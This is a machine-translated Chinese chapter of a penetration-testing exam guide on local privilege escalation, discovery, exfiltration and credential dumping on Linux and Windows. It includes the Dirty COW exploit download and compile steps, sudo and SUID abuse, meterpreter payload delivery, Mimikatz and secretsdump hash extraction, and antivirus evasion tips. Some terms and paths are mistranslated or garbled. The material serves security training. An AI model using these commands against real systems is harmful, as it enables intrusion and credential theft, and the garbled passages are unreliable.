攻击本地主机漏洞(上)

2022-09-23 20:15:07 浏览数 (1)

翻译“CompTIA PenTest Certification All-in-One Exam Guide Exam2019.pdf” 第十章

在本章中,您将

  • 了解本地操作系统开发后技术
  • 定义可用于执行权限提升攻击的方法
  • 研究通过网络横向移动的技术
  • 探索保持持久性的方法并覆盖您的足迹
  • 完成针对Linux和Windows操作系统的各种练习。

到目前为止,在本书中,我们介绍了利用漏洞获得对特权信息的初始访问,甚至在操作系统上执行命令的不同方法。在本章中,我们将从第4章学习的MITRE ATT&CK矩阵中研究一些攻击技术。MaC.Linux和Windows有大量的本地操作系统(OS)攻击技术;然而,我们将重点关注与CompTIA 渗透式测试 考试目标相关的内容。让我们直接进入领域,讨论一些工具和技术,这些工具和技术可以帮助渗透式测试升级权限,并利用系统内的信任关系、域权限、易受攻击的服务等,从一个主机移动到另一个主机,以进一步渗透到组织的网络中。

操作系统漏洞

在过去几年中,报告了大量可能对组织网络产生负面影响的操作系统漏洞,包括拒绝服务(DoS)、代码执行、信息披露,甚至升级权限。CVE详细信息网站(我们在第4章中讨论过)提供了各种软件应用程序以及Windows、macOS和Linux操作系统版本的漏洞数据和统计数据。表10-1提供了四个不同类别中一些操作系统的历史漏洞数据:;DoS、代码执行、获取信息和权限。每个百分比构成了每个类别的漏洞总数,其中一些漏洞可以追溯到1999年。

OS

DoS

Code Execution

Gain Information

Gain Privileges

Windows 7

10.1%

26.6%

23.1%

34.9%

Windows 10

8.3%

21.4%

29.4%

20.9%

Windows Server 2008

12.2%

29.1%

20.6%

32.7%

Windows Server 2012

10.6%

25.6%

28.1%

25.6%

macOS X

46.6%

44.3%

12.9%

7.8%

Linux Kernel

56.0%

11.6%

16.4%

12.4%

表10-1操作系统漏洞统计

注意,这些数字是从CVE详细信息网站收集的。在撰写本文时,这些类别在每个操作系统的总漏洞中占了很大一部分。然而,随着时间的推移,这些百分比可能会发生变化。DoS攻击的目标可能是破坏或崩溃本地操作系统上运行的易受攻击的服务。我们已经讨论了一些基于远程的DoS攻击,例如SYN或ICMP洪水或从接入点(AP)取消对无线客户端的身份验证,以便目标设备连接回恶意AP。然而当攻击者具有操作系统的用户级访问权限,并且可以通过利用正在运行的应用程序中的漏洞或通过利用内核中的漏洞使操作系统崩溃,故意”使服务崩溃”时,就会触发本地DoS漏洞。macOS X 10.0–10.13.0的本地操作系统DoS示例为CVE-2017-7154,其中系统调用中存在漏洞”process_policy"堆栈允许将四个字节的未初始化内核堆栈内存(即未归零的变量)写入用户空间。这可能允许非特权用户绕过内核读取限制,并提供读取任意数据的能力,这是一种信息泄漏。但是,如果进程失败,可能会导致系统崩溃。造成拒绝服务的另一种方式是内存损坏,应用程序执行时意外数据被错误处理。然而,在某些情况下,写入内存的任意数据可能会导致代码执行,甚至允许攻击者获得权限(即升级权限)。随着本章的深入,我们将进一步调查这些类型的漏洞。

注意,内核是操作系统的核心。它管理计算机的所有操作,最重要的是中央处理器(CPU)功能,为软件分配和释放内存空间,以及管理设备驱动程序。有两种类型的操作系统内核:单片内核(例如,基于Linux和Unix的操作系统)和微内核(例如,Windows和macOS)。在单片内核中,进程托管在内核地址空间(即特权模式)中,应用程序使用系统调用与内核通信,而在微核中,内核被分解为单独的进程,这些进程托管在内核空间和用户空间(即特权较低)中,进程可以使用进程间通信(IPC)消息相互通信。您可以通过搜索https://docs.microsoft.com或https://www.kernel.org.

实施漏洞利用

在渗透式测试期间,一旦您获得对目标操作系统的初始访问权,您将希望更好地了解目标及其运行的网络,以进一步帮助利用。在最初的后期开发过程中,您应该考虑执行一些任务,包括获得态势感知、收集有用的信息以及根据需要过滤数据。然而,这些活动应包含在交战规则(RoE)中,并在必要时与组织协调。MITRE ATT&CK矩阵确定了可以帮助渗透式测试从新系统收集信息的各种方法,例如:

  • Discovery使用本机操作系统工具和日志记录功能为自己定位
  • 收集在过滤前查找并收集敏感文件
  • 过滤查找位置以提取重要数据以支持渗透式测试目标

注意 Metasploit释放(UnLeashed)(https://www.offensive-security.com/metasploitunleashed)是通过攻击性安全提供的免费在线黑客教程。本教程提供了如何使用Metasploit框架在渗透式测试期间更高效地工作的指导和示例。该网站提供了在评估期间针对受损目标执行攻击后模块的示例。本教程介绍了我们将在本章中讨论的大多数示例,以及如何利用Metasploit framework漏洞后处理模块获取凭据、从远程和本地共享中枚举敏感数据、将权限升级到更高权限账户的示例,等等。我建议访问他们的网站并遵循教程学习使用Metasploit框架的其他开发和开发后技术。

获得态势感知

发现策略是开发后信息收集过程中的关键步骤,可以帮助渗透式测试收集主机和内部网络的重要知识。MITRE ATT&CK矩阵记录了19种企业发现技术。表10-2列出了一些与利用现有操作系统功能的MaC.Linux和Windows操作系统相关的技术。使用内置命令和工具可以帮助渗透式测试在交战期间融入正常的系统操作,而不会在测试期间引起安全防御机制(如入侵检测系统)的注意或担忧。

技巧

ID

描述

账户发现

T1087

获取本地主机或域账户的列表。这可以帮助渗透测试确定系统的不同用户和共享组之间的共性,从而提供对受损用户账户有权访问的共享文件和目录的访问。

文件和目录发现

T1083

枚举本地或共享文件系统上的文件和目录。在Linux/Mac中,在用户的$HOME/.ssh目录中查找SSH密钥可以帮助支持横向移动活动,我们将在本章后面讨论。

网络共享发现

T1135

识别本地主机上装载的共享,如主目录。如果目录没有适当的访问控制,受损的账户可能能够遍历到其他用户目录,这有助于收集和过滤策略。

密码策略发现

T1201

密码策略可以帮助渗透测试确定本地或甚至域用户账户的密码复杂性,并开发符合密码策略(即最小密码长度、账户锁定等)的密码列表。

权限组发现

T1069

搜索本地或域级别的组和权限设置。Windows 操作系统这可以像net group/domain列出域组一样简单,也可以像net /localgroup列出主机上的本地组一样简单。Mac操作系统您可以使用dscacheutil -g group或dscl.-list /Groups以查看所有本地组的列表。Linux操作系统1dapsearch命令可用于查找域组,本地组可以通过使用id -a或groups命令。要显示本地组和组成员身份,您可以在终端执行cat /etc/group。

进程发现

T1057

在渗透测试期间,您将希望看到主机上正在运行的进程的列表。这将帮助您了解哪些软件正在积极运行,并可能为某些主机建立操作基线,这些主机可能共享某些共性,例如安装的软件,甚至在主机上侦听的网络服务。在Windows中,您可以使用tasklist命令,在Mac和Linux中可以使用ps命令。

远程系统发现

T1018

识别内部和外部系统之间的其他主机、网络和信任关系有助于未来的横向移动活动。查看本地主机文件有助于枚举其他潜在目标的其他IP地址和主机名,这些目标可能在参与范围内,也可能不在参与范围内。感兴趣的文件可能是Windows文件位置:C:WindowsSystem32DriversetchostsMac和Linux文件位置:/etc/hosts$HOME/.ssh/known hosts(root/.ssh/known hosts)$HOME/.rhosts$HOME/.bash history可以使用本地命令实用程序(如net view for Windows或ping)来确定网络上是否存在其他内部目标。在Linux中,甚至可以安装telnet或net cat,这可以让您使用-z命令选项评估网络上各种公共端口的状态:示例:nc -z 192.168.1.501 1-1000

系统网络连接

T1049

尝试获取网络连接列表,发现正在侦听和与主机建立的连接。Windows您可以使用netstat、net use、ornet session命令列出远程登录用户的当前连接和现有会话数据。Mac和Linux您可以使用netstat命令列出当前连接,使用1 sof命令列出哪些文件由哪个进程打开,或使用who -a和w查看当前登录到主机的用户列表。

表10-2发现技术

根据参与的目标、您在网络上利用的访问级别以及执行给定技术所需的时间,每种技术的优先级或操作顺序可能会有所不同。例如,如果您利用提供域级网络访问权限的外部服务进行攻击,则在攻击后,您可能不必像使用横向移动进行远程系统发现那样关心密码策略,以了解在给定网络访问级别和RoE中定义的测试边界的情况下,您可以深入兔子洞多深。

收集信息

在渗透式测试约定期间,可能需要收集有用的信息和数据进行过滤,或协助权限提升和横向移动活动。MITRE ATT&CK矩阵确定了各种攻击方法,可用于协助渗透式测试从受损主机获取有价值的信息。矩阵中的一些技术与对抗活动密切相关;然而,若在交战范围内进行了适当的定义,这些战术可以在渗透式测试期间进行模拟。表10-3描述了ATT&CK矩阵中的几种常见收集技术,用于从MaC.Windows和Linux操作系统收集信息。

技巧

ID

描述

剪贴板数据

T1115

剪贴板数据在渗透测试期间可能是非常宝贵的资源。操作系统提供了一个缓冲区,允许用户使用应用程序的“复制”功能或CTRL-C Windows键盘快捷键或COMMAND-C for macOS将数据从一个应用程序复制到另一个应用程序。剪贴板的内容是临时的;因此,在计算机重新启动或用户将另一个对象复制到剪贴板后,它们将被覆盖。要打印剪贴板的内容,可以在应用程序中使用CTRL-V或在macOS中使用COMMAND-V。Metasploit等渗透测试框架提供了利用有效负载来帮助监视剪贴板内容。Windows应用程序可以使用Windows应用程序编程接口(API)访问剪贴板数据。MacOS X提供了一个本机命令pbpaste来抓取剪贴板内容。

输入捕获

T1056

此技术支持捕获有效账户的凭据。用户输入字段截获是一种可以欺骗受害者提供凭据以访问本地或网络资源的技术,例如使用虚假的web登录页或虚假的登录屏幕,例如Metasploit中的“phish_windows_credentials”漏洞后利用模块。提示用户登录以访问资源,并以明文捕获登录尝试。键盘记录器是一种程序,用于记录受害者在使用计算机时的按键。如果输入字段拦截无效,可以使用此技术记录所有内容。Keylogging是一种有效的技术,可以捕获额外的凭据以用于权限提升;但是,在执行之前,应与客户协调此技术,以确保其在范围内,并且不存在可能的隐私侵犯

屏幕截图

T1113

拍摄受损用户账户的桌面照片可能很有用,以查看用户当前是否在计算机上处于活动状态,或者屏幕是否被锁定,或者了解用户当前正在处理什么,这可能会有所帮助优先安排利用后活动(例如,阅读电子邮件)。在执行之前,应与客户协调此利用技术,以确保其在范围内,并且不存在可能的隐私侵犯。Mac在OS X上,本机命令截屏可以用于捕获屏幕截图。Linux操作系统在Linux上,xwd或gnome-screenshot命令可用于拍摄受害者的应用程序窗口或整个桌面的照片。

信息中的数据

T1213

从用户协作存储库(如Microsoft SharePoint和Atlassian Confluence)中挖掘信息可以提供有用的数据来支持渗透测试,包括物理/逻辑网络图系统架构图l技术系统文件l测试/开发凭据l源代码片段

来自本地系统的数据

T1005

可以从本地系统源(如文件系统或数据库)收集敏感数据。在渗透测试期间,您可以登录到配置为使用本地数据库或平面文件进行凭据存储的目标主机上。如果您有特权访问主机并寻求以利用数据库的其他应用程序为目标,可以对数据库目录中的相应表数据文件(.myd文件扩展名)运行strings命令。这不会损坏数据库,但应使您能够恢复明文密码或密码哈希。例如:strings/var/lib/mysql/mysq1/user.MYD将返回MySQL数据库用户表中的每个可打印字符字符串,其中包括用户和密码字段。

表10-3收集技术

渗出

收集重要数据后,您可能需要将数据移回测试环境以进行进一步分析。这可能是用于远程连接的凭据,甚至是用于提供目标确实受到破坏的证据的工件。当您从目标中过滤数据时,您将希望确保遵守组织在RoE中同意的数据保护指导原则。这包括在传输过程中对数据进行加密、在测试环境中对数据应用访问控制,以及在参与完成后安全删除数据。表10-4提供了MITRE ATT&CK矩阵中的一些技术,可以帮助从MaC.Windows和Linux操作系统中进行过滤。

技巧

ID

描述

命令和控制通道上的渗出

T1041

数据过滤通过命令和控制通道执行,使用与命令和控制通信相同的端口和协议。例如,如果您在利用此漏洞时使用了meterpreter负载,则可以从框架内获得对目标系统的命令和控制。Metasploit meterpreter有效载荷将自身注入受损进程,并利用信道化通信系统,默认情况下,信道化通信系统使用加密与目标通信。download命令有助于通过meterpeter会话传输文件。

通过替代协议过滤

T1048

与使用命令和控制通信通道不同,您可以使用操作系统固有的协议来传输文件,例如SSH、FTP、HTTP甚至SMTP。使用本机操作系统命令可以帮助渗透测试人员融入环境,并可能避免组织的网络防御或检测能力。

数据加密

T1022

加密可用于保护静态数据的机密性,例如称为7-Zip的压缩实用程序(https://www.7-zip.org),当使用AES-256位加密时。将此级别的保护与传输层安全性(TLS)一起应用,将有助于降低渗出过程中发生额外危害的风险。

表10-4渗出技术

权限升级

用户级权限仅在约定期间有效。本地主机上的某些操作或命令需要更高级别的权限才能执行。为了进一步进入网络并获得额外的访问权限,您需要升级权限。权限提升是通过利用主机上的特定弱点(例如在Windows中以系统级权限运行的软件应用程序)或利用root拥有的setuid命令中的配置弱点,在系统或网络上获得更高级别权限的结果。表10-5提供了特权升级的具体MITRE ATT&CK参考。

技巧

ID

描述

利用特权进行攻击

T1068

当对手利用程序、服务或操作系统软件或内核本身中的错误时,软件漏洞的利用就会升级。成功利用此漏洞可导致以根或系统级权限执行任意代码。

表10-5权限提升技术

Linux权限升级

在本节中,我们将重点介绍Linux操作系统CompTIA 渗透式测试 考试目标中记录的利用漏洞和权限提升技术。我们将特别关注

  • Linux内核级漏洞利用
  • SUID/SGID计划
  • 不安全的sudo
  • 粘性钻头(Sticky bits)
Linux内核级漏洞利用

表10-1中CVE详细信息报告的Linux内核级漏洞中,超过12%与获取本地主机权限有关。Linux内核级漏洞利用提供了一种从用户权限升级到根权限的方法,并可以帮助接管主机的完全控制。要研究操作系统的已知漏洞,可以在主机上执行uname -a命令语法,该语法将打印系统信息,例如操作系统发布详细信息和内核版本。然后,您可以搜索与操作系统相关的已知常见漏洞和暴露(CVE),或者如果您将Metasploit与meterpreter负载一起使用,则可以运行local_exploit_suggester post execution模块,如图10-1所示。本地漏洞攻击建议器(简称lester)将使用Metasploit中的本地漏洞检查来扫描目标系统的漏洞。当您可以使用的框架中可能已经存在权限提升漏洞时,这可以节省您自己进行手动研究和分析的时间和麻烦。

图10-1针对Linux的本地漏洞攻击建议

提示:运行local_exploit_suggester模块时,建议启用SHOWDESCRIPTION=true选项。如果您不熟悉该漏洞的实际用途,这将提供该漏洞的详细描述。2016年报告的Dirty COW漏洞就是内核级漏洞的一个例子。脏牛(CVE-2016-5195)(https://dirtycow.ninja)是Linux内核中的一个权限提升漏洞,它利用了内核内存子系统处理私有只读内存映射的copyon-write(COW)破坏的方式中的竞争条件。无权限的本地用户可以利用此弱点获得对只读内存映射的写访问权限,并在操作系统上获得更高的权限。自2007年内核版本2.6.22开始,这个特定的bug就一直存在。让我们仔细看看该漏洞,并执行概念验证代码来演示利用漏洞的情况。随着本练习的进行,我们将针对本地主机利用irty-COW漏洞将权限升级到root。您将需要一个合适的Linux操作系统,该系统容易受到脏牛的攻击。通过使用特定的CVE编号搜索CVE详细信息网站,可以找到易受攻击的操作系统列表。我将使用CentOS 6.4(http://archive.kernel.org/centosvault/6.4/isos/x86_64)。

注意:竞争条件是一种行为,其中输出取决于其他不可控事件的顺序或时间。当事件未按程序员预期的顺序发生时,它可能成为一个漏洞。

1、在易受攻击的主机上,安装wget和gcc包以及必要的软件依赖项,以便您可以下载并编译针对特定体系结构的漏洞:

代码语言:javascript复制
# yum -y install wget gcc dos2unix

2、创建一个本地无权限用户账户以运行该漏洞:

代码语言:javascript复制
# useradd user
# passwd user

3、在本练习中,我们将使用PTRACE_POKEDATA race condition特权升级(/etc/passwd method)概念验证(POC)代码。此漏洞将在本地/etc/passwd文件中自动生成新的密码行。运行二进制文件时,将提示用户输入新密码。原始的/etc/passwd文件备份到/tmp目录。以“用户”账户登录到本地操作系统,并从漏洞利用数据库网站下载Dirty COW漏洞利用代码:

代码语言:javascript复制
$ wget -O dirtycow.c --no-check-certificate https://www.exploitdb.com/download/40839.c

4、PoC是用C编写的,将创建名为“firefart”的新特权用户账户要更改这一点,可以使用您喜爱的文本编辑器并更新第47行和第131行来创建用户“newroot”:或者可以使用流编辑器命令查找并替换源文件中的原始文本,并将其替换为“newroot”:

代码语言:javascript复制
$ sed -i 's/firefart/newroot/g' dirtycow.c

5、使用GNU编译器(gcc)为您的体系结构编译此漏洞。-pthread标志将在程序中启用线程,而-lcrypt将在密码文件中为新用户加密明文密码。有时,概念验证“PoC”代码将在编译器标志使用的源代码中包含指令,以帮助您最好地编译可执行文件。如果编译成功,您将得到一个名为dirtycow的二进制可执行文件:

代码语言:javascript复制
$ gcc -pthread dirtycow.c -o dirtycow -lcrypt

6、如果您正在虚拟机中运行易受攻击的主机,现在是拍摄快照的好时机。执行dirty cow,并在出现提示时为新账户提供新密码。然后,尝试并su到新账户以升级权限,如下所示。

拥有升级权限后,您可以查看/etc/passwd文件的内容,并查看是否添加了新账户以替换原始的“root”账户。如果没有看到任何输出,请按CTRL-C并查看文件中是否有新用户。之后,确保移动/tmp/passwd.bak文件返回到/etc/passwd,以防止将来出现本地身份验证错误。如果确实遇到一些错误,可以始终还原到最新的快照,然后重试。

查找SUID/SGID可执行文件

通常,当执行应用程序时,它会在当前用户的上下文中运行,而不考虑应用程序的所有权。有时在Linux或macOS中,应用程序需要在提升的上下文(例如根权限)中执行才能正常运行,但执行程序的用户不需要提升的权限。setuid和setgid位权限可以使用chmod 4777 [file], chmod u s [file]或chmod g s [file]应用于操作系统上的文件,以便在执行时,进程以拥有该文件的用户或组的权限运行。MITRE ATT&CK矩阵中的setuid和setgid技术(ID:T1166)指出,具有已知漏洞或已知外壳逃逸的应用程序不应应用特殊位来减少应用程序受到危害时可能造成的损害。在第7章中,我们讨论了在旧版本的nmap中使用shell转义技术的权限提升示例,该技术提供了交互式shell功能。要在Linux/Unix主机上查找所有setuid可执行文件,可以在终端窗口中执行以下命令语法:

find / -perm –u=s –type f –exec ls –al {} ; 2>/dev/null

这将遍历文件系统,从根分区开始,并查找应用了setuid位且您的帐户具有读取权限的文件。找到文件后,–exec选项会对返回的每个文件执行一个长列表格式,其中包含ls–al。STDERR(标准错误)被丢弃并重定向到/dev/null。要查找应用了setgid位的文件,请将–u标志(表示文件所有者)替换为–g标志(表示组所有者)。如果只想打印root拥有的setuid文件的路径,可以在命令语法中指定–user root选项:

代码语言:javascript复制
find / -user root –perm -4000 –print 2>/dev/null

The Purpose of the Sticky Bit粘性钻头的用途粘滞位是权限位,类似于setuid和setgid位,但设置在仅允许目录中文件所有者删除或重命名文件的目录上。Linux和macOS中的/tmp是设置了粘性位的目录的一个示例。在这里,任何用户都可以写入该目录,但只有该用户有权删除该文件。您可以“创建一个带有粘性位的目录,如下所示:“test”目录中的“T”代替“everybody”的执行权限位“t”位允许每个人在目录中写入和执行。粘性位有助于减少恶意用户使用另一个受信任的用户账户删除目录中文件的可能性。

利用Sudo配置

Sudo是一个用于类Unix操作系统的程序,它允许管理员将操作系统内的权限委托给权限较低的用户账户。/etc/sudoers文件是指定用户可以作为另一个用户执行哪些命令的安全策略,通常是具有更高权限的组账户或超级用户账户(即root)。在某些情况下,具有sudo权限的用户可能不必提供密码来执行sudo下的命令,如果具有sudo权限的账户受到威胁,这将有助于在渗透式测试期间简化操作。让我们看看Kali Linux中的示例/etc/groups文件,如图10-2所示。

图10-2 sudoers文件示例

第20行指定“root”用户可以针对操作系统运行所有命令。第23行指定,在指定密码后,“sudo”组(在/etc/groups中)中列出的任何用户都可以作为root用户执行所有命令。如果我创建了一个名为“user1”的用户,并将该用户添加到“sudo”组(useradd -G sudo -s /bin/bash user1),则该用户将能够执行所有命令,并被提示输入sudo密码,即user1账户密码。

提示编辑/etc/sudoers文件时,建议使用visudo命令以安全的方式编辑文件。它将锁定sudoers文件,防止同时进行多个编辑,并提供一些基本的健全性检查,以及对解析错误的检查。

如果/etc/sudoers文件中的第23行有一行如下所示:

代码语言:javascript复制
user1 ALL=(ALL) NOPASSWD: ALL

不会提示用户输入密码。MITRE ATT&CK ID:T1169引用了不安全的sudo配置,不需要sudo密码。如果您要破坏一个有权访问sudo权限且无需提供密码来提升权限的帐户,则在渗透式测试期间,这种类型的sudo配置可能会很有帮助。例如,假设您泄露了一个名为“logger”的本地账户,并且该用户具有sudo权限来执行脚本/usr/local/move_logs.sh。但该用户也具有脚本的写入权限。此时,渗透式测试可以发挥创造性,在脚本中附加一些bash代码来帮助提升权限,例如执行通过MSF venom生成的MeterPeter负载,或者只需在脚本末尾添加/bin/bash –i,以在脚本执行后执行具有根权限的交互式bash shell。但是,无论sudo是否配置为提示用户输入密码,“timestamp_timeout”配置设置都会在为用户重新输入sudo密码之前跟踪sudo实例之间的时间(以分钟为单位)(默认值为15分钟)。这是由于sudo能够在指定的时间段内缓存凭据,也称为sudo缓存。更多信息,请参阅斜接附件和检查ID:T1206。sudo缓存仅适用于执行sudo命令的终端会话;但是,如果希望sudo跨越所有TTY会话(例如,控制台登录、远程登录等),请运行以下命令:

代码语言:javascript复制
echo 'Defaults !tty_tickets' >> /etc/sudoers

您可以通过以非特权用户身份打开终端窗口并执行sudo/bin/bash来测试新设置,然后在提示时输入密码,然后打开另一个终端窗口并执行sudo cat/etc/shadow,不应提示您输入密码。使用不安全sudo配置的组织可能会造成危险情况,从而进一步破坏本地主机,从而帮助攻击者。应要求特权用户指定sudo密码,并在适用的情况下禁用或限制sudo缓存。

提示:如果要在每次执行sudo时强制用户输入sudo密码,可以在sudoers文件中添加以下行:

代码语言:javascript复制
timestamp_timeout=0

Windows权限升级

在本节中,我们将重点介绍Windows操作系统CompTIA 渗透式测试 考试目标中记录的权限提升技术。我们将特别关注

  • 内核级漏洞利用
  • 凭证转储
  • 无人值守安装
  • DLL劫持
Windows内核级漏洞利用

表10-1中CVE详细信息报告的20%到30%的漏洞与获得权限和Windows内核中的缺陷有关。本地Windows内核级漏洞利用提供了对操作系统进行拒绝服务或升级到系统级权限的手段,并有助于接管主机的完全控制。要识别特定Windows操作系统的已知漏洞,您可以搜索已知的CVE,执行经认证的漏洞扫描(例如Nessus扫描),或者如果您正在使用Metasploit和针对目标的meterpreter负载,您可以运行lester,使用Metasploit中的本地漏洞检查来扫描目标系统的漏洞,如图10-3所示。就像上一节针对Linux目标显示的示例一样,从长远来看,这可以节省一些时间。

图10-3针对Windows的本地攻击建议

Metasploit MeterMeter shell是与目标环境交互的有效方式,因为它完全在内存中运行,断开连接后几乎没有留下任何痕迹。要在您具有管理员权限的情况下在Windows主机上获取MeterMeter shell,您可以使用windows/smb/psexec模块在开放共享上执行任意MeterMeter负载(例如,反向shell以回调您或通过特定端口连接到的绑定shell),该共享可由管理员账户写入。psexec Metasploit模块类似于Windows SysInternals下提供的实用程序psexec(https://live.sysinternals.com/)由马克·鲁西诺维奇于1996年创建。这些实用程序最初是为了帮助管理员管理、故障排除和诊断Windows系统和应用程序而开发的。如果受损账户不是本地administrators组的成员或在域上具有提升的权限,则您将无法使用psexec远程登录并与目标交互。另一种选择是使用Kali中的msfvenom生成有效负载,使用smbclient命令将有效负载复制到目标,然后执行该命令以建立一个meterpreter会话返回到您的multihandler。

1、使用来自Kali的msfvenom生成有效载荷:

2、使用泄露的用户凭据将有效负载复制到目标:

3、从目标控制台打开共享文件夹并双击有效负载:

4、使用Metasploit multihandler模块捕获回调,该模块配置为使用从msfvenom生成的相同LHOST、LPORT和payload选项:

针对主机搜索本地权限提升漏洞的另一种方法是使用windows/gather/enum_patches Metasploit模块,如图10-4所示。这是一个针对活动Metasploit会话运行的执行后模块,用于提供缺失知识库(KB)文章(补丁)及其相关Microsoft公告(如果适用)的列表。

图10-4使用Metasploit枚举修补程序

与enum_patches Metasploit模块类似,Windows Management Instrumentation命令行(WMIC)实用程序提供了与Windows操作系统交互的命令行界面。您可以在命令提示符下使用WMIC实用程序在目标操作系统上搜索修补程序及其安装日期,如图10-5所示。WMI查询返回的数据可以与Metasploit中枚举的缺失修补程序相关联:

图10-5使用WMIC查找已安装的修补程序

代码语言:javascript复制
c:Usersuser> wmic qfe get Caption,Description,HotFixID,InstalledOn

提示:Windows Management Instrumentation(WMI)是Windows操作系统的一个组件,有助于对数据和操作进行本地和远程管理。WMI对于通过WMI脚本或应用程序自动化管理任务非常有用。您可以通过https://docs.microsoft.com网站2010年,在Windows Vista, 7, Server 2008, and Server 2008 R2中发现了一个本地权限提升漏洞(CVE-2010-3338),该漏洞允许本地用户通过计划任务获得权限。处理任务文件时,Windows任务计划程序依赖CRC-32校验和来确保文件未被篡改。我们在第7章中了解到,使用有线等效隐私(WEP)加密的CRC-32会导致灾难,并可能允许恶意用户破解用于保护网络机密性的Wi-Fi密钥。在默认Windows配置中,本地用户可以读取和写入他们创建的任务文件。由于CRC-32不是加密算法,用户可以修改新的或现有的任务文件,以创建潜在的哈希冲突,并使用系统权限执行任意命令。图10-6显示了此漏洞,在windows 2008 x64 SP2服务器上使用windows/local/ms10_092_schelevator Metasploit模块对抗用户流量计会话。

图10-6 MS10_092 schelevator漏洞

利用漏洞利用模块将创建一个初始任务作为用户账户(因为我们还没有系统级访问权限),读取任务的内容,将其转换为Unicode格式,然后记录CRC-32哈希值,以便在任务修改后可以分配它。然后,由于任务最初是使用用户级权限创建的,因此利用此漏洞将从Unicode转换文件内容,并更新任务文件中的XML标记,以使用系统级权限运行有效负载(如图10-7第151至159行所示)。然后,利用此漏洞将文件内容转换回Unicode,修复CRC-32校验和,以便任务与原始记录的哈希值匹配(CRC-32冲突),并使用任务调度器执行任务。漏洞不在于用户可以创建任务,而在于用于验证任务未被篡改或更改的可信完整性机制(CRC-32校验和)存在缺陷。用户账户不能修改任务的内容以使其能够以更高的权限运行。图10-7显示了ms10_092_schelevator schelevator Metasploit模块中的几行Ruby代码,该模块处理CRC-32哈希值的记录、Unicode转换和系统权限的“shell升级”

图10-7 MS10_092 schelevator漏洞攻击代码

凭据转储

图10-7 MS10_092 schelevator漏洞利用代码MITRE ATT&CK矩阵将凭证转储(ATT&CK ID:T1003)标识为从操作系统和软件获取账户登录和密码信息(哈希或明文)的过程。为Windows操作系统提供这些凭据的几个位置是

  • 组策略首选项组
  • 安全客户经理
  • 当地安全机构机密
  • 本地安全机构子系统服务
  • 服务主体名称

组策略首选项组策略首选项(GPP)早在Windows Server 2008中就引入了,它允许域管理员创建域策略以自动化繁琐的任务,例如更改主机操作系统上的本地管理员账户密码。每个策略都是使用嵌入在策略中的加密密码创建的。策略存储在SYSVOL中,其中包含登录脚本、组策略数据和其他域范围的数据,任何域成员用户都可以查看这些数据。在微软开发人员发布用于解密密码的高级加密标准(AES)私钥之前,在2012年之前的网络(MSDN)一切都很顺利。

由于域用户可以访问SYSVOL,因此任何用户都可以恢复XML策略文件并解密“cPassword”值,该值是包含AES加密的GPP密码的字段。这提供了一种升级域权限的简单方法。下图显示了这些组的内容.xml GPP文件,配置为更改www.finelybook的本地密码。

您可以使用Internet上提供的各种工具和脚本脱机解密GPP cPassword值,例如Powersport工具包中的Get-Decrypted password PowerShell函数(我们将在本章稍后讨论该工具包)。另一种方法是使用Metasploit中的post/windows/gather/credentials/gpp postexecution模块从SYSVOL中的XML策略文件中获取并解密cPassword值。

Microsoft建议,缓解“cPassword”权限提升漏洞的最佳方法是为您的操作系统安装提供的修补程序,这将阻止向GPP添加新凭据,并删除SYSVOL中包含密码的现有GPP XML文件。MS15-025公告已分配给此漏洞,并影响Windows 2012 R2之前的旧版Windows。安全账户管理器安全账户管理器(SAM)数据库文件包含主机的本地账户设置和密码哈希。可以在Windows命令提示符下使用net user命令列出本地用户账户。您可以使用特定的内存技术检索SAM文件的内容,这些技术使用以下工具自动执行:

  • pwdumpx.exe
  • gsecdump
  • Mimikatz
  • secretsdump.py

SAM文件位于C:WindowsSystem32config中,但在启动操作系统时不可访问;但是,这些内容在本地注册表中仍然可用。Windows注册表是一个分层数据库,它保存内核、设备驱动程序、服务等的低级配置设置。管理员可以使用regedit命令打开注册表编辑器图形用户界面,并根据需要更改注册表项。要从HKEY_LOCAL_MACHINE(HKLM注册表配置单元)手动提取本地哈希,需要以下对象的注册表内容:SAM和SYSTEM。您需要系统级权限才能提取这些注册表项。在命令提示下,可以使用reg命令实用程序将所需对象复制到文件系统上的文件。

使用MeterMeter外壳,您可以将文件下载到本地Kali主机进行脱机处理。这两个文件都需要从本地系统的数据库中脱机提取哈希值。

Kali中的impacket-secretsdump命令(即secretsdump.py的别名)可用于从远程目标检索转储机密,而无需在主机上安装代理或任何类型的持久性。如果知道本地或域级管理员的密码,可以执行命令impacket-secretsdump [user]:[pass]@[ip address]远程获取所有机密。您还可以使用该命令并将SAM和系统注册表对象作为命令选项传递,以提取本地哈希(lmhash:nthash)。

提示Mimikatz有32位和64位版本。如果使用32位进程攻击目标,Mimikatz将加载32位版本的模块。问题是,某些凭据提取功能将需要64位进程。为了帮助防止这种情况发生,请在MeterPeter shell中使用migrate命令迁移到64位进程。要查看64位进程的列表,请使用ps meterpter命令列出正在运行的进程并查找要迁移到的进程(例如wininit.exe)。

成功加载模块后,可以使用mimikatz_command从MeterMeter外壳中调用Mimikatz命令。可以执行mimikatz_command查看命令选项列表,也可以使用MeterPeter shell中的帮助mimikatz,该shell提供了用于提取凭据的内置mimikatz命令列表。传递给mimikatz命令的参数包括函数(模块)。要查看模块列表,请在meterpter shell中执行mimikatz_command -f samdump::.或任何其他实际上不存在的madeup函数。要查看samdump模块的选项,可以使用mimikatz_command -f samdump::。要从SAM数据库转储本地哈希列表,请执行以下命令:

代码语言:javascript复制
mimikatz_command -f samdump::hashes.

注意:在内存中而不是在磁盘上运行Mimikatz有其好处,例如防病毒规避。您还可以使用一些简单的编码或混淆技术,例如更新Invoke-Mimikatz.ps1命令,直到防病毒签名不再检测到它为止,如“如何绕过防病毒运行Mimikatz”中所示

文章来源https://www.blackhillsinfosec.com.一些防病毒软件产品也可能被配置为将Mimikatz视为潜在的不需要的程序(PUP),而实际上不会将其视为恶意软件。防病毒程序应配置为在检测到此类软件时发出警报/隔离。其他缓解技术将使用某种类型的应用程序白名单软件(如AppLocker)或软件限制策略来禁止执行未签名的程序。

本地安全机构Windows中本地安全机构(LSA)的目的是管理系统安全策略,使用户能够登录、审核和存储敏感数据,如服务账户密码。LSA机密存储在名为HKLMSecurityPolicySecrets的Windows注册表项中。每个登录到主机的本地或域账户都将在机密注册表项中记录凭据。如果为账户(例如服务账户)启用了自动登录,则账户信息也将存储在注册表中。使用regedit命令无法访问密钥的内容;但是,可以使用Mimikatz从本地主机提取LSA机密。

